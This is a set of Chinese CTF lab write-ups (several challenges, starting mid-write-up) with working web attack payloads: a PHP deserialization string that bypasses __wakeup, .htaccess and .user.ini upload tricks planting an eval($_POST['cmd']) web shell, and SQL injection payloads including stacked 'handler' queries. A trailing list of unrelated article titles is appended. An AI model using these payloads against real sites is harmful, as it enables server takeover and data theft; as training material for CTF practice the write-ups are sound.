  1. 拼接得到完整flag

操作:去掉两段结果中重叠的部分,拼接起来

复制代码
前半段:flag{3abd39e9-837b-4303-a552-0c
后半段:b-4303-a552-0c261909ff45}
完整flag:flag{3abd39e9-837b-4303-a552-0c261909ff45}

[网鼎杯 2020 青龙组]AreUSerialz

一、前置准备

  1. 启动靶机,访问靶机地址

  2. 页面会直接显示完整的PHP源码,把它复制下来分析

二、源码分析(逐行找漏洞)

核心代码片段

复制代码
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
​
// 反序列化后自动调用
function __destruct() {
    // 强相等:只有当$op是字符串"2"时才会改成"1"
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}
​
// 反序列化时自动调用,会把$op强制改成"1"
function __wakeup() {
    $this->op = "1";
}
​
public function process() {
    // 弱相等:只要值相等就成立
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        // 我们的目标:执行read()读取flag.php
        $res = $this->read();
        $this->output($res);
    }
}
​
private function read() {
    $res = "";
    if(isset($this->filename)) {
        // 读取文件内容
        $res = file_get_contents($this->filename);
    }
    return $res;
}
​
}
​
// 过滤函数:只允许ASCII码32-125的可打印字符
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
// 入口:接收GET参数str,反序列化
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

漏洞点总结

  1. 文件读取漏洞: read() 方法可以读取任意文件,我们需要让它执行

  2. **wakeup绕过:**wakeup() 会强制把 $op 改成"1",必须绕过它

  3. 强类型比较绕过: __destruct() 里用 === 比较, process() 里用 == 比较,可以利用这个差异

  4. 不可见字符过滤绕过: is_valid() 过滤了不可见字符,而 protected 属性序列化后会产生不可见字符,必须绕过

三、逐个绕过漏洞

  1. 绕过__wakeup魔术方法

原理:CVE-2016-7124漏洞

  • 当序列化字符串中表示对象属性个数的值大于真实的属性个数时,PHP会跳过 __wakeup() 方法的执行

  • 这个类有3个属性( op 、 filename 、 $content ),所以我们把属性个数从3改成4即可

  1. 绕过强类型比较

原理:PHP强相等 === 和弱相等 == 的差异

  • __destruct() 里: op === "2" → 只有当 op 是**字符串"2"**时才成立

  • process() 里: op == "2" → 只要 op 的值等于2就成立,不管类型

  • 所以我们把 $op 设置成整数2

  • 2 === "2" → false,不会被改成"1"

  • 2 == "2" → true,会执行 read() 方法

  1. 绕过不可见字符过滤

原理:PHP 7.1+ 对访问控制修饰符的不严格检查

  • protected 属性序列化后会产生 %00*%00 这样的不可见字符(ASCII码0),会被 is_valid() 过滤

  • PHP 7.1+中,即使类的属性是 protected ,我们在序列化时把它改成 public ,反序列化时仍然可以成功赋值

  • 这样序列化后的字符串里就没有不可见字符了,能通过 is_valid() 的检查

四、构造最终payload

步骤1:编写PHP脚本生成基础序列化字符串

复制代码
<?php
class FileHandler {
    // 把protected改成public,绕过不可见字符过滤
    public $op = 2; // 整数2,绕过强类型比较
    public $filename = "flag.php"; // 要读取的文件
    public $content = ""; // 随便填
}
​
// 序列化对象
echo serialize(new FileHandler());
?>

步骤2:运行脚本得到基础序列化字符串

复制代码
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

步骤3:修改属性个数,绕过__wakeup

把 3 改成 4 (表示有4个属性,大于真实的3个):

复制代码
O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

这就是我们最终的payload!

五、提交payload获取flag

操作指令

把payload作为GET参数 str 的值,访问这个URL:

复制代码
http://你的靶机地址/?str=O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

结果

显示flag.php的内容,格式为:

复制代码
[Result]:
flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

[GXYCTF2019]BabyUpload

一、基础信息

  1. 题目考点 ① 文件上传 MIME(Content-Type)类型校验绕过 ② Apache .htaccess 自定义文件解析漏洞 ③ Apache环境图片一句话木马制作

  2. 环境:Apache+PHP,文件上传路径为 /upload/随机文件夹名/

  3. 过滤规则

  4. 后缀黑名单,禁止直接上传php系列后缀文件;

  5. 后端依靠HTTP数据包 Content-Type 校验文件类型,直接上传 .htaccess 会拦截提示「上传类型也太露骨了吧」;

  6. 仅允许图片格式文件直接上传。

二、整体解题思路

  1. Apache服务器目录下 .htaccess 可以修改站点文件解析规则;

  2. Burp抓包修改 Content-Type ,绕过MIME校验,优先上传 .htaccess ;

  3. 上传与htaccess匹配名称的图片格式一句话木马,借助htaccess让jpeg后缀文件被PHP解析执行;

  4. 蚁剑连接拿到网站权限,读取根目录 /flag 。

三、分步详细过程(操作+内容+原理)

*步骤1 制作两份上传文件

① 制作 .htaccess 配置文件

文件书写内容

复制代码
<FilesMatch "mm.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>

操作:新建文本文档写入上述内容,重命名完整文件名为 .htaccess 。

原理:

  1. FilesMatch "mm.jpeg" :匹配当前upload目录下名称为 mm.jpeg 的文件;

  2. SetHandler application/x-httpd-php :强制将匹配文件交给PHP程序解析执行;

  3. 此文件会修改当前upload文件夹内Apache解析规则,是本次漏洞核心。

② 制作图片一句话木马

文件书写内容(原始文件命名mm.php,后续抓包改名)

GIF89a

<script language="php">eval($_POST['cmd']);</script>

操作:新建文件写入内容。

原理:

  1. GIF89a :GIF图片文件头部标识,规避文件头部检测;

  2. <script language="php"> :老旧Apache环境可识别的PHP执行标签;

  3. eval($_POST['cmd']) :PHP一句话木马,接收POST参数 cmd 执行任意PHP代码,用于蚁剑连接。

步骤2 Burp抓包上传 .htaccess ,绕过MIME校验

  1. 操作流程

  2. 浏览器上传页面选择 .htaccess 文件,开启Burp拦截抓包;

  3. 在数据包内修改字段: 原始 Content-Type: application/octet-stream → 修改为 Content-Type: image/jpeg ;

  4. 放行数据包,页面提示上传成功。 上传路径: /upload/d1226aa71ff436bc088748d27580d9b8/.htaccess 。

  1. 原理 后端仅依靠数据包内 Content-Type 字段判断文件类型,修改为图片类型 image/jpeg ,欺骗后端校验规则,成功上传解析配置文件。

步骤3 Burp抓包上传图片马,文件名严格对应htaccess

  1. 操作流程

  2. 浏览器选择 mm.php 文件进行上传,开启Burp拦截;

  3. 两处关键修改 ① filename="mm.jpeg" (后缀修改为jpeg,和htaccess内文件名保持一致) ② Content-Type: image/jpeg (绕过MIME类型校验);

  4. 放行数据包,页面提示上传成功。 上传路径: /upload/d1226aa71ff436bc088748d27580d9b8/mm.jpeg 。

  1. 原理

  2. jpeg后缀不在php黑名单内,可以成功上传;

  3. 目录内已存在 .htaccess ,服务器访问mm.jpeg时会当做PHP代码解析执行。

步骤4 蚁剑连接Webshell

  1. 操作 蚁剑添加数据 URL地址填写完整路径

http://12db9fed-d673-4295-9dd1-8bab912caca9.node5.buuoj.cn:81/upload/d1226aa71ff436bc088748d27580d9b8/mm.jpeg

连接密码填写: cmd ,连接类型选择PHP,测试连接成功。

  1. 原理 访问mm.jpeg会触发htaccess解析规则,执行内部eval一句话,蚁剑通过POST提交cmd参数实现服务器交互。

步骤5 读取flag

  1. 操作

  2. 蚁剑左侧目录切换至服务器根目录/;

  3. 找到 /flag 文件,双击打开查看内容。

  4. 最终flag

复制代码
flag{70a83022-6b34-4a14-b7c3-e62edd53dcac}

[GXYCTF2019]BabySQli

一、题目基本信息

1.考查知识点 网页注释Base64解密、union all联合SQL注入、PHP代码逻辑审计、MD5校验逻辑绕过 2.页面功能 前端POST提交 name (用户名)、 pw (密码)两个参数,提交请求跳转至 search.php 页面执行SQL查询。

二、步骤1 解密获取后台原始执行SQL语句

1.访问 search.php 页面,按下F12查看网页源代码。

2.在页面HTML注释区域内,获取Base64加密字符串: c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJ25hbWUn 。

3.使用Base64解码工具对字符串解码,得到后台真实执行SQL语句:

复制代码
select * from user where username = '$name'

三、步骤2 审计PHP源码,明确全部规则

1.输入字符过滤规则 后台过滤字符:/(|)|=|or/ ,输入内容不可包含以上字符。 2.数据库数据读取规则 mysqli_fetch_row($result) 仅读取SQL查询结果第一行数据。 3.flag获取双层判定条件

复制代码
if($arr[1] == "admin"){
    if(md5($password) == $arr[2]){
        echo $flag;
    }
}

①查询返回数组第二个字段内容必须为 admin ; ②前端提交的密码 pw 经过md5加密后,需要和数组第三个字段内容完全一致。 4.数据表字段数量 经过字段数测试, user 数据表共计3个字段,union联合查询必须严格对应3列字段。

复制代码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
​
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
​
<?php
require "config.php";
require "flag.php";
​
// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }
​
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
​
}
​
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
​
​
if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        // echo '<pre>';
        $arr = mysqli_fetch_row($result);
        // print_r($arr);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}
​
?>

四、步骤3 构造合法注入Payload

1.注入思路 使用 union all 联合查询伪造一条符合判定条件的数据,完成身份与密码校验绕过。 2.页面填写内容

  • name输入框填写
复制代码
1'union/**/all/**/select/**/1,'admin','202cb962ac59075b964b07152d234b70'#
  • pw输入框填写
复制代码
123

3.完整拼接SQL语句

复制代码
select * from user where username='1'union/**/all/**/select/**/1,'admin','202cb962ac59075b964b07152d234b70'#'

语句解析 ① 1' 闭合原有SQL单引号,截断前置查询语句; ② union all 完整保留全部查询结果,不会自动去重; ③ select 1,'admin','202cb962ac59075b964b07152d234b70' 严格三列对应数据表字段,伪造满足判定条件的数据, 202cb962ac59075b964b07152d234b70 为 md5(123) ; ④ # 注释末尾多余单引号,保证整条SQL语法完整。

五、步骤4 提交Payload获取flag

1.在 search.php 页面提交填写好的 name 和 pw 。 2.后端完成两层校验,页面输出最终flag。

flag{718957a4-ab57-4fa5-8995-bf33aa5b2763}

[SUCTF 2019]CheckIn

一、考查知识点

.user.ini PHP目录配置文件利用、文件上传漏洞、图片形式PHP后门执行

二、漏洞原理

1.PHP特性:同一目录下存在 .user.ini ,写入 auto_prepend_file=指定文件 ,此目录内所有PHP文件运行时,会自动加载执行指定文件内PHP代码,不受文件后缀限制。 2.网站提供文件上传功能,且网站目录自带 index.php ,可用来触发 .user.ini 配置。

三、制作所需文件

1.文件一: .user.ini

复制代码
GIF
auto_prepend_file=mm.png

首行GIF字符用于绕过图片类文件上传检测。 2.文件二: mm.pnp,创建完成改成png形式

GIF

<script language="php">eval($_POST['cmd']);</script>

四、网页端直接上传操作

1.打开网站上传页面,点击【选择文件】选中本地 .user.ini ,点击提交。查看页面目录列表,确认 .user.ini 上传成功。

2.再次在上传页面选择本地 mm.png ,点击提交上传。查看目录列表,确认 mm.png 与 .user.ini 处于同一个上传文件夹内。

五、激活后门,蚁剑连接

1.浏览器访问该上传目录下 index.php ,触发 .user.ini 配置, mm.png 内部一句话代码被激活运行。

2.打开蚁剑,URL填写上传目录的 index.php 完整地址,连接密码填写 cmd ,完成连接。

复制代码
uploads/e1891fb0b9f190933b53ba7b05c12d2a/index.php

六、获取flag

1.在蚁剑文件浏览界面进入服务器根目录,找到 /flag 文件。 2.打开文件读取内容,得到最终flag

复制代码
flag{188a90bd-84ea-4011-8b8c-bbbc9a2ba601}

[GYCTF2020]Blacklist

一、题目考点

  1. 两层SQL注入,第一层GET参数注入,第二层POST堆叠注入

  2. SQL关键字黑名单过滤,禁用 select 等常用查询关键字

  3. MySQL handler 语句读取数据表,规避select过滤

二、第一层GET注入,进入第二注入页面

1.后台执行SQL

复制代码
select * from user where username='$username'

2.过滤规则:禁止 or、and、select、union、空格、#、= 。

3.注入Payload 浏览器地址栏访问:

复制代码
?username='like%09' 

4.原理:利用 like 构造永真查询条件, %09 代替空格,查询成功,跳转至带有「姿势」输入框的页面。

三、第二层堆叠注入,逐级探测数据库信息

后台SQL格式支持分号 ; 执行多条SQL语句,进行堆叠注入。 1.查询全部数据库 姿势输入内容:

复制代码
1';show databases;# 

返回数据库:ctftraining、information_schema、mysql、performance_schema、supersqli、test。

2.查询数据库内的数据表 姿势输入内容:

复制代码
1';show tables;# 

获取数据表: FlagHere 、words。

3.查询FlagHere数据表字段 姿势输入内容:

复制代码
1';show columns from FlagHere;# 

得到数据表字段名为 flag 。

四、handler语句读取flag数据

1.限制:后台拦截 select 关键字,无法常规查询。 2.handler语法作用:MySQL原生语句,可直接读取数据表内容,无需select。 3.姿势输入最终Payload

复制代码
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

语句解释 ① handler FlagHere open :打开FlagHere数据表; ② handler FlagHere read first :读取数据表首行数据; ③ handler FlagHere close :关闭数据表。 4.提交语句,页面直接输出flag。

五、最终flag

复制代码
flag{04c0e2d1-cec2-4da1-87af-6claa71d133e}

[RoarCTF 2019]Easy Java

一、考查知识点

1.Java Web WEB-INF目录源码泄露,文件下载漏洞 2.POST形式文件下载请求 3.读取web.xml确定后端控制器路径 4.class字节码文件提取Base64编码并解码

二、步骤1 页面功能分析

1.页面为BBR登录页面,页面附带help下载按钮,点击触发文件下载功能。

2.直接请求下载 help.docx ,页面抛出 java.io.FileNotFoundException 文件不存在异常,无法直接获取目标文件,需要读取后端Java源码。

三、步骤2 读取web.xml配置文件

1.请求地址:站点 /Download POST提交参数

复制代码
filename=/WEB-INF/web.xml

2.下载web.xml,查阅配置得知存在 FlagController 控制器,完整路径: com/wm/ctf/FlagController.class 。

四、步骤3 下载FlagController.class字节码文件

1.POST提交请求 POST数据

复制代码
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

2.成功获取class字节码文件。

五、步骤4 提取Base64字符串

文本工具打开class文件,提取Base64字符串:

复制代码
ZmxhZ3tmZDcwZjEyMS04N2U3LTQ2MzAtODRlYi0wYjliY2Q1NmExYmU9=

六、步骤5 Base64解码获取flag

对字符串Base64解码,得到最终flag

复制代码
flag{fd70f121-87e7-4630-84eb-0b9bcd56a1be}
相关推荐
cws2004019 小时前
网络安全基本知识-2
运维·网络
其实防守也摸鱼9 小时前
软件安全与漏洞--软件安全测试
网络·软件测试·安全·web安全·安全性测试·软件安全·软件安全测试
深念Y9 小时前
Claude Code 搜索工具失灵,用 MCP + 提示词注入绕过 tavily
网络·搜索引擎·mcp·claudecode·中转站·tavily·搜索服务器
夜雪闻竹9 小时前
Ollama vs OpenAI vs Claude 做摘要,质量差距有多大
网络·microsoft
石山代码9 小时前
基于现有日志系统的功能扩展方案
网络
哼?~9 小时前
多路复用I/O之Epoll
网络
开开心心就好10 小时前
免费无广告的批量卸载与系统清理工具
linux·服务器·网络·智能手机·rabbitmq·excel·memcached
wanhengidc10 小时前
高防服务器中的数据安全
运维·服务器·网络
艾莉丝努力练剑10 小时前
【Linux网络】Linux 网络编程:HTTP(五)HTTP收尾,从Cookie会话保持、抓包问题到 HTTPS 初识
linux·运维·服务器·网络·c++